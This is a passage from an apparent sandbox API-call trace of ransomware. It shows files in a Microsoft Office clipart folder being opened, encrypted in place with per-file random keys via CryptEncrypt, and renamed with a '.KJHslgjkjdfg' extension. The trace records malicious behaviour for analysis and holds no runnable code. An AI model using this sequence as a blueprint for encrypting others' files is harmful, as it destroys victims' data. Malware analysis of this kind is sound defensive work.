lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7d84, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7d84, lpOverlapped=0x0) returned 1 [0208.785] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7d90, dwBufLen=0x7d90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7d90) returned 1 [0208.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.786] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7d90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7d90, lpOverlapped=0x0) returned 1 [0208.786] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.786] SetEndOfFile (hFile=0x130) returned 1 [0208.788] GetProcessHeap () returned 0x990000 [0208.788] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.788] GetProcessHeap () returned 0x990000 [0208.788] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.kjhslgjkjdfg")) returned 1 [0208.790] CloseHandle (hObject=0x130) returned 1 [0208.790] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1 [0208.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.791] GetProcessHeap () returned 0x990000 [0208.791] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.791] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.791] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.791] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.792] GetProcessHeap () returned 0x990000 [0208.792] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.792] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.792] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.792] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.818] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.818] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.818] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.818] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.819] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.819] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.819] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6090, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6090, lpOverlapped=0x0) returned 1 [0208.828] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6090, dwBufLen=0x6090 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6090) returned 1 [0208.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.828] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6090, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6090, lpOverlapped=0x0) returned 1 [0208.828] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.829] SetEndOfFile (hFile=0x130) returned 1 [0208.831] GetProcessHeap () returned 0x990000 [0208.831] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.831] GetProcessHeap () returned 0x990000 [0208.831] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.kjhslgjkjdfg")) returned 1 [0208.833] CloseHandle (hObject=0x130) returned 1 [0208.833] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1 [0208.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.835] GetProcessHeap () returned 0x990000 [0208.835] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.835] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.835] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.835] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.835] GetProcessHeap () returned 0x990000 [0208.835] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.835] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.835] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.835] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.837] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.838] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.838] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.838] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.838] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.838] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.838] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7e90, lpOverlapped=0x0) returned 1 [0208.840] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e90) returned 1 [0208.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.840] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7e90, lpOverlapped=0x0) returned 1 [0208.841] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.841] SetEndOfFile (hFile=0x130) returned 1 [0208.842] GetProcessHeap () returned 0x990000 [0208.842] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.842] GetProcessHeap () returned 0x990000 [0208.842] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.kjhslgjkjdfg")) returned 1 [0208.844] CloseHandle (hObject=0x130) returned 1 [0208.844] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1 [0208.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.846] GetProcessHeap () returned 0x990000 [0208.846] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.846] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.846] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0208.848] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.848] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.848] GetProcessHeap () returned 0x990000 [0208.848] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.849] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.849] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.849] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.849] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.849] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.849] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.849] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.849] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.849] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.849] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8795, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8795, lpOverlapped=0x0) returned 1 [0208.850] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x87a0, dwBufLen=0x87a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x87a0) returned 1 [0208.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.851] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x87a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x87a0, lpOverlapped=0x0) returned 1 [0208.851] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.851] SetEndOfFile (hFile=0x130) returned 1 [0208.854] GetProcessHeap () returned 0x990000 [0208.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.855] GetProcessHeap () returned 0x990000 [0208.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.kjhslgjkjdfg")) returned 1 [0208.857] CloseHandle (hObject=0x130) returned 1 [0208.857] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1 [0208.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.859] GetProcessHeap () returned 0x990000 [0208.860] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.860] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.894] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.894] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.894] GetProcessHeap () returned 0x990000 [0208.894] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.894] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.894] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.894] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.894] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.895] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.895] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.895] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.895] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.895] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.895] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8118, lpOverlapped=0x0) returned 1 [0208.896] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8120, dwBufLen=0x8120 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8120) returned 1 [0208.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.897] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8120, lpOverlapped=0x0) returned 1 [0208.897] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x81f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.897] SetEndOfFile (hFile=0x130) returned 1 [0208.900] GetProcessHeap () returned 0x990000 [0208.900] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.900] GetProcessHeap () returned 0x990000 [0208.900] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.900] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.kjhslgjkjdfg")) returned 1 [0208.902] CloseHandle (hObject=0x130) returned 1 [0208.902] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, 